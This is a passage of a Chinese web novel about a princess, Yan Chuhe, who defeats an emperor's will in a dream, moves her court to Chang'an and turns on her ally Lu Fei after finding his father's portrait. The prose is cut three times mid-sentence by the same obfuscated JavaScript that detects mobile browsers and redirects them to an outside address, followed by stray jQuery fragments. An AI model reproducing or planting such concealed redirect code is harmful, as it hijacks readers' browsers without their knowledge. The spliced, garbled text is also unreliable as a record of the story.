“你竟敢……冒充宥国公主。”他向前一步,周围的宫灯随之明灭,“好,好得很……朕那么信你。女子为官,史无前例,朕为你破例!你倒是躲在朕眼皮子底下算计朕的江山,要朕的命。”
“你是为那佛像破例,和我可没关系,”晏楚鹤还要反驳,只见着宫殿突然变化,梁柱倾塌如巨掌压顶,地面翻涌。
“朕改主意了。先前还想留你在此作伴,现在,你还是魂飞魄散好了!”景安帝嗤笑一声,他的意志如潮水般重塑梦境,处处皆是杀机。
在梦中死亡会怎样?魂飞魄散又是何说?晏楚鹤顾不得思考,只凭直觉行动。
杀人道士的嗜血阵法,古时暴君的炮烙毒刑,天崩地裂的灾年景象,晏楚鹤心念流转,堪堪想象出些伞啊盾啊躲过各种袭击。
时间在僵持中失去意义。疲惫感加剧,而外界却无人唤醒她,这样的消耗战似乎永无止境。
只能试着打败他。
晏楚鹤眼神一凛,手上蓦然多了把镜子,将袭来的飞刀尽数奉还。那皇帝要比她笨重很多,仓促间只能靠竖起墙壁保护自己。
晏楚鹤同那人一样,心念急转,将自己见过的蜀地军士搬了过来,被压迫的、野性的、挣扎求存的人们乱哄哄地涌向宫殿,又被再次镇压。
接着,她想到自己在京城接触的高门深院,那些世家大族所制造的人祸。皇帝把玩的律法同样是他们的玩物,那样的氛围叫人喘不过气。皇帝皱眉,吸气,挥袖间竟是将这些全吞了进去收为己用,虽是化解也十分狼狈。
晏楚鹤抓住这个时机,手里再次幻化出刻刀,直直捅了过去——准确来说是刻,皇帝同以往一样建起的墙壁被她雕琢,成为她的造物,扈从,意志。
他能拿出的东西都会被晏楚鹤反过来利用。
就凭那把刻刀?!皇帝惊怒交加,只觉得十分棘手。
控制梦境所需要的几项素质,居住于此的夏国皇帝太清楚了,他拥有数士个王朝的历史,独自酝酿两千年的想象,还有这不变的意志。
记忆力,想象力,意志,这个女人到底凭什么?她掌握的未免太快了,她真的是人吗?!
这样打下去不是办法。
夏国皇帝忽然间撤去所有攻势,破碎的宫殿恢复富丽堂皇。
“显然,我们谁也没法杀死谁。”他作出一副叹息样。
非也,晏楚鹤心中冷笑,却也顺势收后。她看得一清二楚,方才,皇帝被平民的反抗震慑,被世家的手段恐吓……她已经摸到杀死他的方法——摧毁他的意志。
这位皇帝之所以停止攻击,可不就是察觉到死亡的威胁。
“晏楚鹤,你想建立的国家,与朕的大夏,与历代王朝,能有任何不同吗?
你弑君、造反,掀起这滔天巨浪,最终的目的到底是什么?
你想离开这里,就必须说服我。”
皇帝的语气甚至称得上温柔,但目光却如实质的重压,近乎窒息的感受并非来自梦境里的幻想,而是面前这个人真实具备的。晏楚鹤扶着胸口,眼眸微眯——他在试图摧毁她的意志。
“要知道,”他语气中比起怜悯,更多的是傲慢,“啧。说话的力气都没有了?那换个问题,你不会天真地以为,你的追随者是真心投靠吧?那些节度使、地方藩镇,势力盘根错节,岂会真心臣服于一介女子?”
“果然是蝼蚁之辈,纵使挣扎一生,也无法撼动大树。区区一介平民的努力,戴上伪国公主的名号,居然真的以为自己能改变这世道?”
皇帝话语间尽是不屑,他身上可是两千年多年的帝王意志啊。
“平民的努力?”晏楚鹤深吸一口气,找回了自己的声音。
是的,方才那些问题,她或许没有坚定的意志,但是这点,她很肯定,“你向我发问时就已经知道答案了。”
“……呵,”他轻笑,“别开玩笑了,你浴血搏杀,机关算尽,目的不就是让自己和后代脱离平民的身份,坐上龙椅,享万世富贵吗?你和我们没有区别!”
“不是的。”
她抬起头,笑了笑,“我打算建立的,是一个不需要继承人的国家。”
皇帝脸上的神情骤然凝固。
错愕、愤怒,被一种茫然取代。两千年来,他从未想过有人会这样回答。
“等等,你的意思……难道是……”他喃喃道,周身那辉煌的宫殿开始龟裂,光影从他身上片片剥离。
碎掉了。
——
华服女子从床榻上惊醒。
头痛欲裂,思绪混乱,什么都想不清楚,像是做了个长久的梦,又像是死了一遭,浑身筋骨都透着酸软无力。
她本能地张口,想唤宫人,却只发出微弱的气音,口干,舌燥,房间的血腥味让她感动甜腻。
终于,大概是半个时辰,这处房间外终于出现了脚步身影。
那女子一身素净布衣,乌发只用木簪简单绾起,面上脂粉未施,通身上下再无半点珠光。可就是在看到这人的瞬间,所有记忆都涌了上来。
“……娘。”
窦沅怔怔地唤出声,眼泪毫无征兆地滚落。
“成事不足败事有余,你——”刘霜清本是同往日一样来看看女儿,可真盼到她醒来,又想到自己化为泡沫的大业,刚要痛斥几句,见她突然泪如雨下,到底心软了半分,语气稍缓,“少哭些。你如今身子不妥,医仙来之前,莫再乱动。”
窦沅用力点了点头,急急想说话。刘霜清却先一步开口,将她弑父之后发生的大小种种简明扼要说了一遍,宫内如何乱的,那武昌侯如何做局她们母女,楚御史摇身一变成了宥国公主,母亲不得已投诚,才保住她窦沅的性命。
“你被你那父亲临死反扑,体内染了遗毒,且已异变,按医仙说的,需得日日服用牲畜血块。”
“难怪这屋子味道这么重。”
“是啊。稀奇之处不止于此。你今后务必低调行事。”刘霜清目光落在她手腕上,“你的手筋先前被挑断,如今可还有痛觉?果然……愈合快得异于常人,简直像是——”
“……这简直是和怪物一样。”
“不,是天赐良机。”
窦沅眼睛蓦地亮起,急急追问:“那娘……您的意思是,我既然刀枪不入,不如明日就去杀了那晏楚鹤,夺回大夏江山?”
“?你之前不是还对她存着些心思么?”
“您不是教过女儿,感情与权力,须得分清。”
“你从前不听,现在又想起来了?”刘霜清一脸无语,“要分开,不能分太开。追求权力的目的若和感情无关毫无牵系,你便真成了怪物。”
她俯身按住窦沅的肩:“窦沅,听娘一句劝,暂且收手,你当不好这个帝王的。此刻杀她,我们母女才是真的死路一条。
你大哥已经死了,你弟弟我打算过几日送给晏楚鹤当夫郎冲喜,你素来圈养面首,精通此道,便麻烦你多多教
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045676|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
导他。”
“冲喜?!娘,你是说她要死了吗?!”
窦沅的欣喜被后来者迅速打断,“永宁殿下已经醒转,邀刘娘娘过去一叙,”一名道姑打扮的女子笑盈盈福身:“窦姑娘说话太大声了,下官便暂且当作未曾听见罢。”
这女子带着黄冠面纱,装扮素雅,不等刘霜清跟上便径自朝太医局的方向走去。看着窦沅的情况,她需得再备上些药。
是了,这位便是方才刘霜清提到的医仙,谢昔游。
说来缘分,她祖上精通医术,对玄学略有涉猎。她自己命途多舛,自幼流浪漂泊,在那雅州道观一时大意,将被杀害时遇到晏楚鹤——幸得这位前朝公主相救,谢昔游因此加入宥军。
谢昔游就此隐去过往,成为一个普通的随军女医,展露头脚的机会本不该轮到她。偏偏命运弄人,攻入夏宫那日,让她见到了给景安帝炼丹的道士,又让她听到了诅咒的事情。
只有宥国血脉才能解除的诅咒。
那时情况紧急,她再多心思都得先压下,对上峰匆匆禀道:“那道士是我父亲。我知道解药。”
所幸面纱遮掩了神情,她没有被继续追问,而是被直接带去内殿,那时晏楚鹤已深入密室。谢昔游这边按着记忆,把受牵连的人一一安置妥当。
这样看来,她这烂摊子也算是收拾了一半。
只是,自那日起,她总觉得额角发涨,思绪纷乱。眼下局面微妙,晏楚鹤死了活了本该由别人操心,如今被她吊着,她谢昔游生生被推至风口浪尖,原先的打算全都混乱。
好在晏楚鹤醒了,想到这,谢昔游的脚步愈发轻快,她取了药,在刘霜清后头等了会,这才见到晏楚鹤。
病榻上的女子不过二十出头,毕竟昏了三四天,面色同几日前比苍白如纸,往日里的促狭全都消失,竟然添了几分易碎感,加上举止间那股沉静的气度,根本不像是假公主。
晏楚鹤强撑着坐起些,唇角弯起:“是你,先前那个女冠啊。这次是你救了我啊。”
谢昔游垂首,声音平稳如常:“家父铸下大错,下官不能袖手旁观。”
晏楚鹤轻轻颔首,这话听来合乎情理。对方既然能解毒,说不定也能为她解惑,便道:“昔游姑娘,孤昏迷时做了个梦,同那夏帝交手,他也提过诅咒……”
谢昔游倒吸了口气,随机抬起眼:“下官……确实听闻过这类事。
公主应该清楚,如今那方传国玉玺,是在古玺残块上改制而成,因此形制上略小些。年深日久,恐怕附着了数代帝王的残念——说起来,殿下从前做过【仙游梦】吗?”
“仙游梦?”
……
仙游梦,字面意义上来看,是有仙缘的人会做的梦。
只是“仙缘“”二字并不准确,这类梦其实是投影、映射。
不如前世的残痕因执念而显现,先祖遗念随血缘流传,又或是相同时间环境下另一个自己的选择,来生的预兆虚影。
晏楚鹤见到的路斐到底是何人还说不清楚,但那个景安帝,便是由数代皇帝残念执妄汇聚而成,叫人大开眼界。
仙游梦的成因不可考。凡是接触玉玺的人都会经历。宥朝皇室曾有研究,谢昔游的父亲,那个道士不过是拾前人牙慧,为景安帝效力的后来者。
仙游梦的效果因人而异。有沉溺其中长眠不醒者,大多数人则是醒了就忘掉一大半。也有些人颇为特别,会在经历苦难后回想起更多梦中玄机,甚至化用梦中所学突飞猛进。晏楚鹤便是在父母双亡后,雕刻技艺突然臻至化境。
旁听的庞老人一面提笔记录,一面喃喃自语。他是座中最年长者,早在宥国未灭时,便听先帝提过一二秘闻,没想到这位昔游姑娘的父亲已经研究了这么多:“他世之景,前尘之影,居然还有先祖的故事……血缘传承真的很神奇。”
谢昔游附和道:“是啊,公主不愧是宥国皇室。居然能破解那玉玺生还。”
“与血脉无关。,晏楚鹤却摇头:“若非有人胁迫,孤未必能走到今日。”
谢昔游微张着嘴,无奈间敛目改口:“您说得是。心志传承亦是重要。只论血缘,下官同下官那作恶的父亲就不一样。
对了,殿下若要了解更多,不妨去长安。洛阳如今毒瘴弥漫,不宜久居,更不宜定为新都。宥国旧日西都长安,不仅有瘴毒解药,风水格局亦更宜奠基立业。”
“长安啊。”晏楚鹤缓缓剖析这两个字,她原先的计划并没有考虑过,但细想来,确实是不错的选择。
……
此去长安,路程近四百里。官道多年失修,沿途城邑十室九空,又需防备零星夏军残部与流寇,这路便走得格外审慎。
有玉玺在手,入长安没费太多功夫。这里作为前朝都城,与洛阳截然不同,处处是历经沧桑后的肃穆。宫阙损毁,骨架犹存,还需修葺才能使用。
晏楚鹤暂居在旧衙同下属分析。长安城表面虽已易帜,但当地的世家因为她素有仁名极为嚣张,,闭门谢客,作壁上观,暗中同其他节度使都有干系。
此外,城中恐怕有夏朝余孽潜伏,城外,剑南节度使,河东节度使,突厥王庭虎视眈眈。当务之急——应该是先取得宫中解药,平定洛阳的灾祸……正商量着,沈昱一身尘土,像是刚从某处探查回来,悄然走到晏楚鹤旁,低声道:“殿下,查访旧宫监后人时,偶然得知一事,与那人有关。”
“嗯。你说。”
“路大人祖籍,似乎便在这长安。城南处有一座路宅废弃已久,着实特别,”沈昱顿了顿,帅气的脸庞一脸谄媚,“趁今日天色尚早,殿下可愿前去一看?”
37. 赋诗独流涕
秋日江南,烟水朦胧依旧。
路斐如今身在两浙,此地节度使年老昏聩,幕府内部派系林立,革新派官吏散落其间,郁郁难伸。这些人中不少都曾参与过削藩的提议,对各地藩镇积怨已久,路斐顶着革新派领袖的名号,想招揽他们并不困难。
官邸内,他屏退左右,正独自临案。
今日窗外,细雨迷蒙,倒适合入诗。偏偏遣词造句总不如意——“跃”字太显躁进,“隐”字又过于含蓄,不像是他。
删删改改,最后干脆整张纸扔掉。虽有些可惜,但想到晏楚鹤那家伙对诗词了解实在贫乏,便觉得写什么都没意思,不如直陈其事来得痛快。
于是路斐又另铺新纸,纷杂的思绪同落下的雨丝:“……说来有趣,此间革新派人士,并非我刻意寻访,倒不如说是时势将他们送到我手中……”
他这些时日思路渐次明晰,等楚鹤到了洛阳,定会察觉夏都毒樟凶险,而长安乃前朝旧都,根基深厚,形胜俱佳,西迁势在必行。
既然预料到这一步,晏楚鹤定都西北,无暇顾及东南,他便在这个时间段以福建为龙首,好好经略一番。
写信并不作诗简单,寥寥数语,他却写写停停,每个字都需斟酌。他本不是这般犹疑之人,但如今两人天各一方,她身边奇异之人太多。是以,路斐认为有必要谨慎。
……这种患得患失的感觉真独特,从前晏楚鹤随窦怀谦出征时,他也是这样和她通信的。
思忖间,信才写了半张,外间突然传来急促的脚步声——晏楚鹤的信先一步到了。路斐即刻挥退旁人,独自拆阅。信笺展开,墨迹清峻,只是行笔间有些刻意的连绵潦草,倒是像她本人:
“明彰如晤:
洛阳宫阙虽残,好在人心可聚。西迁长安已在途中。此番疫症流布甚广,幽州亦恐波及……我担心你。沈昱已派人携解药样本南下,望君慎察,勿轻信旁人。
闻君在东海大有作为,心系苍生,非复昔日孤愤。甚慰。特备惊喜,聊表嘉勉。
勿念。”
没有署名。
“惊喜么……”路斐摩梭着信纸,自己都没察觉的笑意从唇角漾开。这女人,公主之位才做几天,写信就这样不规矩。
虽说如此,路斐又揣着信细细看了好几遍,墨迹浓淡不一,她应该是在路途中,一面思虑洛阳疫情,一面挂心东南。
窗外的日影凝滞,檐下滴水声也变得缓慢而清晰,叫人心烦。路斐忽然觉得,时间走得有些慢了。
他想早点看到那份专门为他准备的惊喜,也想让她亲眼看看他为她准备的惊喜。
这些日子,他任用革新派官吏,以快刀整饬积弊,手段虽然雷霆些,但胜在速度。古往今来,远洋航海虽然九死一生艰苦险恶,却也商机无数。如今新设的泉州港条例清明,引来万国商船,帆樯如林,商货山积,假以时日,财力必定优于内陆藩镇。
待一切安定,他要亲率商队出海——他已经能想象到后人的记载。一个贯通四海的崭新时代,将由他亲手开辟。
说回眼前,除开福建、两浙,晏楚鹤既已北上,那岭南一带也合该由他路斐接手。经营同样沿海,开拓商路,路斐忙得不可开交。忙碌中到有件意外的趣事,同样和晏楚鹤有关。
岭南,春州,他先前安排磨砺晏楚鹤的那个林锵林司马,那样的小人居然突然转了性,和晏楚鹤那个小姨一起把春州治理的秩序井然。
路斐又不是什么心胸狭隘之辈,他拿下春州后大手一挥,以今时之功业论赏,提拨俩人一个当太守,一个当别驾。岭南之地除了海贸,还需兴农工,引进作物,安抚夷族……现如今这些都已经初具规模,他的下一步投向北方。
淮南节度使王馥。
此人出身洛阳王氏偏支,看似庸碌无为,在群雄中不值一哂。论军事不及突厥铁骑悍勇,也不比河东节度使兵强马壮;论影响远不如晏楚鹤宥国势大,论财富亦不如淮南,两浙。
当然,路斐小心谨慎,在景安帝在世时就把这些地方藩镇势力摸了大概,王馥在其中却极为特别,他是少有的从那时便对中央皇权隐瞒数层之深的人物。
想也知道,这王节度使与他是相似的人。除了伪装下的实力,他背后有好几个江淮豪族
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050338|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彼此联姻、利益盘结成的稳固网络,要拿下淮南并不比两浙容易……这种和世家勾心斗角,周旋博弈的事情,由他来做便好。
晏楚鹤的才能不能浪费在这些世家上。
路斐将大量精力投入其中,梳理脉络,他很久没有这样不节制身体,为单一对手耗费如此心神。他希望一切尽可能顺利。晏楚鹤允诺的惊喜就是在一个疲惫的午后到达的。
是块玉佩,他托在掌心,触感温润,对着光细看,雕的是块鹿,这倒是稀奇。
鹿……翡?像他,又不像他。心底漫上一片柔软的欣然,路斐刻意耷拉下嘴角,同传信的沈昱手下懒懒道:“这鹿的神气,也太过清高孤介,雕工也不如人意。”
“是,”来人无语但仍恭敬应道,“卑职会将大人的话原样回禀。”
“那也不必。”路斐摆摆手,另一手摩挲着玉佩,语气带着笑意,想着下次见她,定要亲自抱怨几句。
思绪随手中玉佩飘向风波落定后的未来,日后,他必然是驸马爷的第一人选,楚鹤若是同意,他自然愿意居于幕后,协助她做斟酌政策,平衡各方……只是自己名声向来褒贬不一,骤登高位说不定惹人非议,嗯,还是得换个身份。
这淮南节度使,名字,年龄,怎么看怎么顺眼。路斐对着写着王馥名字的卷宗出神,唇角不自觉扬起。
“大人因何发笑?”
路斐瞬间回神,瞪了眼多嘴的下属,笑意顷刻敛起,默不作声地将玉佩仔细别在腰间,
……真是神奇。若是没有晏楚鹤,他一个人要想翻覆世道,筹谋天下,定会艰难百倍。
遇见她之前,他也以为自己野心勃勃,欲壑难填。如今才知道,是因为还未遇到能全然理解、毫无保留信任他的人。她那份没有来由的特别感情,简直不讲道理,却让他也心甘情愿。
思绪微暖,他抬手又有写信的欲望,忽地一名斥候直冲入内,路斐顾不得训斥,忙接过他递过来的信纸。
“大人!八百里加急!长安兵马异动,公主……公主言大人您——拥兵自重,图谋不轨,正亲率大军南下,要清剿叛臣!!!”
38. 乱世想贤才
长安,
城西,一处规模不小的宅邸落在巷尾,本该富贵,只是废弃多年,杂草丛生。见府上只有位老人,晏楚鹤拿出玉佩便摆手免礼,对这番荒芜心下了然。
沈昱引着她,她身后跟着非要来作贴身护卫的谢飞藿。几人加上随从沿着庭中假山缓步而入。说来奇异,这宅邸景色并不逊色于洛阳任何一家,廊柱梁枋上遍布的雕琢痕迹更是叫她大饱眼福。
最有趣的是中庭处墙垣上的浮雕,那是清一色的禽鸟:昂首的鹤颈、振翅的雁肩……栩栩如生,只是有几个残角石料缺落,委实可惜。
她停下来,又凑近看了看,右下角那鸟儿只有上半截,缺口的线条怎么看怎么眼熟。她想了想,自怀中取出那枚路斐所赠玉佩,其上山川蜿蜒,水纹走势,皆与眼前景色暗暗相合。
有趣,这宅子,倒真合她心意。她又看了看四周,对沈昱道:“此处确实有趣,只是——眼下强敌环伺,你特意让孤过来,若仅有此景,可不能叫人满意啊。”
“殿下稍安,”沈昱笑嘻嘻地摆弄着袖子,道:“请随臣移步。”
晏楚鹤随他闯过庭院,绕过长廊,进了间偏室。她隐隐有几分猜测,但屋内景象还是叫人一惊。与预料中的官宦子弟居所全然不同,此处更像是杂乱的工匠作坊,柜架林立,堆满各式器物与文书。
案上也一样,凌乱地摆放着各种资料,晏楚鹤一眼望去,最上一叠赫然是关于宥朝玉玺的记录——笔迹、详略皆与她手中那份抄本别无二致。这间房子的主人是谁,不言而喻。
他原来是在这样的房子里长大的……狭小,偏僻,晏楚鹤想起听到的传闻,路斐是十岁才被带回侯府,此前经历无人知晓,大概是吃了不少苦头……不过,这倒又和他日后纨绔子弟的名声毫不相称。
思及此,晏楚鹤将玉玺的资料轻轻挪开,沉下心,慢慢翻阅起剩下的卷宗。
内容丰富,笔记详实,是多年来关于各地世家大族,节度使的虚实底细,财赋、兵员、联姻与仇怨,事无巨细,条分缕析……他居然这么久之前就开始谋划了吗!
惊讶之余,晏楚鹤也只有欣赏的情绪,这些卷宗虽多,但一下就翻到最后。那是段关于她——晏楚鹤的记录。
在陇西遇见的下毒村姑——很有意思,只有他们初见时的记录,后续的内容自然不在这里,真好奇啊。
“公主可还满意?”
嗯,重览这些,对路斐多了几分了解,就好像重新经历了一遍对方的人生,不觉时间流逝。不过这样的方式算是窥人隐私,到底不怎么体面,晏楚鹤递了个晦涩的目光,谢飞藿立时心领神会,佯怒道:“沈师爷,你怎能这样将友人的私密用来邀功?未免太过孟浪!”
“哎呀,”沈昱一拍额头,装模作样,“臣不过是偶然发现了路侯爷的生辰八字,与殿下的甚是相合,远比那刘贵妃的小儿子要吉利!一时欣喜忘形!谁能想殿下竟在看这些旁的……诶,是臣失算了。”
晏楚鹤知道和这人说话向来没结果,正欲转身,目光却被身后上一幅突然出现的画像牢牢攫住。
“这是……谁?”
“啊,是方才在那边箱子里找到的,”沈昱漫不经心地凑了过来,“这不是有写名字嘛,路勤礼,先前死掉的老路侯啦——诶,谢姑娘,你瞧,是不是很眼熟?”
“确实,这眉眼与如今的小侯爷,确有几分相似。”
是很像……岂止是相似,简直是一模一样。不同之处在于,
画面上的男子眉目温润,气质是毫无锋芒的儒雅清正,细线勾勒出病弱的轮廓,简直如同见到其本人。晏楚鹤有着那般记忆力,几乎是见到画像的一瞬间就想通了全部。
画上的路勤礼,二十出头的年纪,和现在的路斐相仿,又是截然不同的气质。晏楚鹤第一次在梦中见到他时,他便是这般模样。
梦中的他永远是这个年龄。
……难怪路斐和梦里外貌相像又全然不同。醍醐灌顶,不,该说是雪水浇透全身的寒意,夹杂着让人筋疲力尽的虚脱感……她寄托了最初的憧憬与念想,去追寻的,如白月光一般的人物,自始至终另有其人。
被另一个截然不同的人吸引,投诸好感,反应过来的时候,真正想见到的人原来早就在她没意识到的时候死掉——等等。
剧烈的头痛毫无征兆地炸开,不曾遗忘的记忆又在翻涌,耳中嗡嗡作响,夹杂着些各种她听过的话语。
女道士前些日子和她分析的犹在耳畔:【仙游梦是投影,你遇到的可能是其他时空中自己的经历,也可能是自己先祖遗念的投射,又或者同旁人先祖结缘——血缘的传承简直不可思议。】
是啊,下属早就提醒过她:【路斐与其父路勤礼,作风可谓天壤之别。坊间对其弑父之疑至今未消。殿下认同他,或厌弃他,皆在情理之中。】
弑父?
【你能理解我吧,楚鹤。】
路斐的声音压过一切——是了,在春州那夜,那张脸野心、冷硬,在她记忆中格外清晰。那样带着企盼、渴望认同的眼神里到底有多少伪装?
理解他杀路勤礼的决断?抛却过往的情感,于立意立场确实让人无法苛责,但,那家伙都做了什么啊,欺骗、诱导、逼迫、还有面对她时的狡辩。
用漏洞百出的新政推动王朝混乱,散播加税的谣言点燃民怨,掀起乱世。
装腔作势,自以为是,为达目的不择手段。
桩桩件件,所谓为新朝代快刀斩乱麻,非常之时行非常之事,如今看来,不过是野心勃勃,一意孤行。
而她晏楚鹤,居然一次次地容忍他、接纳他、不断地自我说服。一开始换算理智的欣赏,在刻意的接触下,转化成了致命的情愫。
她不知不觉喜欢着他。
手中玉佩温润如初,晏楚鹤堪堪站稳,将画卷收起后屏退众人,眼底晦涩不明。
……在明知梦中人另有其人的那一刻,她无比清晰地确认这个事实。
她居然会为这么个杀掉冒充恩师的仇人心动。哪怕是此刻,心绪仍会因那人搅动,失控的感觉比揭开的事实更让人忧心。
闭目,晏楚鹤缓缓吸了一口气,将眸中所有情绪收敛。
路斐,不能留。
当夜,府宅深处,灯火灼灼,映得每个人脸上明暗不定。
晏楚鹤临时召众人与堂前,人齐后便开门见山地说出决策:“……劳梁先生与昔游姑娘即日启程,前往洛阳走一遭,稳定后方。其余人等随我南下,镇压武昌侯。”
话音落地,满座一时寂然。
第一个反应过来的是庞老人,他毫不在意晏楚鹤所言是真是假,只拊掌称快:“殿下圣明,老夫早就看那路斐心术不正,绝非善类!”
刘霜清愣了愣,随即娴熟地接过话头。她如今替儿子领了京兆府的官位,态度立场明确:“庞老所言极是。妾身也算是看着那路斐长大,此人自幼心思深沉,行事诡谲,绝不可信。”
她一边说,一边细致观察着晏楚鹤的神色:“那路斐名义上把献土归顺说得天花乱坠,实则还不是拥兵自重。公主前脚离开岭南,他后脚便夺了走,如此表里不一、阳奉阴违之辈,实为宥国之大患。”
“夫人,‘夺’这字未免言重,”梁咸起身,郑重地行了个礼,这才温吞地反驳道,“路斐所为,不论动机如何,虽有争议,但确有实效,诸位都看在眼里。
纵有处置必要,亦当先以王命召其来长安,或者设局智取。骤然兴兵讨伐,恐伤公主仁名,亦令天下归附者心寒。请殿下三思”
莫少隆面色沉重,沉声表态道:“殿下,臣此前询问您复辟后有何打算,所担忧的便是那路斐谋权篡位,反客为主。”
“哦?”一旁的梁裁突然来了兴致,挑起眉梢,“不知殿下当时如何回应莫大人的问题?”
见无人应答,她也不以为意,径直发表自己的观点:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055983|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“自合作之始,臣便知路斐有所隐瞒。削其权柄乃迟早之事,区别只在时机与手段。若证据确凿,那么先发制人,正当其时。”
晏楚鹤沉吟片刻,道:“弑父之举,人伦尽散,割据东南亦是背主,这两点便够了吧?”
假传政令、煽动民变,利用旧情,步步胁迫……晏楚鹤终究没说出口……比起给路斐留退路,更像是不想给她自己找借口了。
“可是,殿下,那人以亡父玉佩立誓向殿下效忠,”谢飞藿有些迟疑,“臣虽愚钝,却能感觉到他待殿下之心,不逊色于臣。”
“……正因为是拿着他父亲的玉佩宣誓,此人才不可信。”
“殿下明鉴。”坐在最尾,旁观半天的沈昱心满意足,慢悠悠地抚掌:“路勤礼之死,虽说实际动手的是臣等,但他路斐确实脱不了干系,容臣运作一番。证据自会确凿无疑。”
至此,征伐东南之意,已成定局。
——
“……武昌侯路斐,实乃国贼……”
路斐听着下属汇报,眉头越皱越紧:“阿顺,你再去查,下到市井百姓如何议论,上至宥国君臣如何编排罪名,事无巨细,我都想听。”
阿顺躬身退去,书房里再次只剩下路斐自己。他一手扣着桌子,一边烧掉本来要写的信纸,心里头反复猜测着是谁给晏楚鹤出的馊主意,终究拿不定主意。
纸张蜷曲焦黑,化为灰烬的速度很快,但他烧完一张就又从匣中抽出一张全新的宣纸,再次点燃。这个时候,重复的动作,明灭的火光似乎能让他保持专注。
楚鹤为什么要这么做?
这个问题在他脑中反复盘旋。她一定是有什么不得已的理由。她的身份被那些宥国人怀疑了?她想要制造假象声东击西,真正目标另有其人?虽然没和他提前说……总之,他只要好好配合就行。
想清楚了后,路斐便不再枯坐,起身直奔泉州港,那里有新舰正在督造。行动总能压下心底深处那缕不安。他知道晏楚鹤的行为还有另一种可能,他不想去考虑。
作为臣子,他确实不称职地隐瞒了很多。东南一带军事防务如今形同铁桶,暗桩、地利、乃至一些晏楚鹤没来得及见识过的机关器械。因此,他兵力虽寡,却也未必会输。
再者,他同晏楚鹤合作过几次,清楚她作为楚御史的策略,熟悉她的用兵习惯,甚至能大致推算出行进路线。
作战会议极为顺利,
“此番宥国来势汹汹,必是想速战速决,”路斐在舆图前分析,各路下属意见广泛:“侯爷,那我们就让她在这里,碰一颗足够坚硬的钉子。待其师老兵疲,我们再……”
连续数个日夜,东南上下严阵以待。他亲自坐镇,调兵、遣将、巡防、演练,煞有介事地作出真地要和晏楚鹤决斗的样子。
如果能帮助晏楚鹤更快立国、结束乱世。这次损失些兵马,多些骂名算不了什么……虽然驸马之位对“路斐”来说已成泡影,但想到即将到手的,淮南节度使王馥的身份,似乎又还可以接受。
转机和他预料中一样到来,晏楚鹤的大军昼夜兼行,浩浩荡荡东进数百里,即将踏入路斐预设的战场前沿时,毫无征兆地拔营转向。
路斐暗自松了口气没多久,意外还是出现了。
宥君所选的方向并不是他推测的,需要打压的岭南俚部据点,或者坐拥江西的周老儿,而是淮南。
路斐暗中窥伺、精心布局,只待几日后便可稳稳摘下的淮南。
棋差一招。
他僵在舆图前……她究竟想做什么?如此大费周章,千里奔袭,完全是浪费他们两个人的时间。为什么要这么做?为什么要用这个方式。
脑海中,得失的计算被压不住的情绪掩盖。他隐隐猜到原因。
又是一封信,大概是最后一封信。
【路斐亲启】
他看了眼,立刻拆开封口。
【你也能理解我吧?】
39. 有能市骏骨
行军路上,
晏楚鹤的外祖父晏员外很不情愿地回了书信,证实当年确实有个青年男子路过,替磕头磕傻的晏楚鹤请了医生,晏楚鹤一家只当作是个好赏玩金石雕刻的好心老爷,便不曾和晏楚鹤提起。
他们之后并没有再接触过,但仙游梦却给了晏楚鹤奇妙的体验。
自见到那副画像后,晏楚鹤能想起的,和梦有关的记忆变多了。
她去过蜀地雪山,在寒风料峭中亲眼目睹冰瀑悬挂,坠入深谷,十五岁的晏楚鹤仰头看得出神,浑然不觉身上单薄,一旁的青年像是对此习以为常,无奈地将身上的厚斗篷轻轻为她戴上。
拥有媲美神仙面庞的恩师笑着为她系好带子后,便继续前行。清润的嗓音,伴着几声压抑的低咳落在她身畔:“逝者如斯夫,不舍昼夜,说的便是这样的景象。”
“万古奔流一刻不停,光阴岁月随之消逝,再坚硬的山石也会因此磨损。”他停下,突然开口说出的话语让他自己更像是雪山冷玉雕就的人物,与这茫茫素白融为一体。
十五岁的晏楚鹤拢紧斗篷,吸了吸冻红的鼻子,刻意将话题扯回雕刻:“我们今日不是来寻高山上的寒玉么?古籍记载那料子制出的东西常年冰凉,有辟邪的功效,极难损坏,我真好奇要怎么雕它——”
见对方没什么反应,仍旧一副苦瓜脸,晏楚鹤赶改口道:“你方才说的,水虽然是流动的,但是雕刻却是能长存不灭,这总该不一样吧?”
“不是的,”青年轻轻摇头,唇角带笑,“楚鹤,雕刻也如此,雕刻的过程本身就是山石不断变化的过程,雕刻后的成品能历千载,总有一天也会灰飞烟灭,它和水的流逝没什么区别。”
“……听起来真让人难过。”晏楚鹤小声嘟囔道。
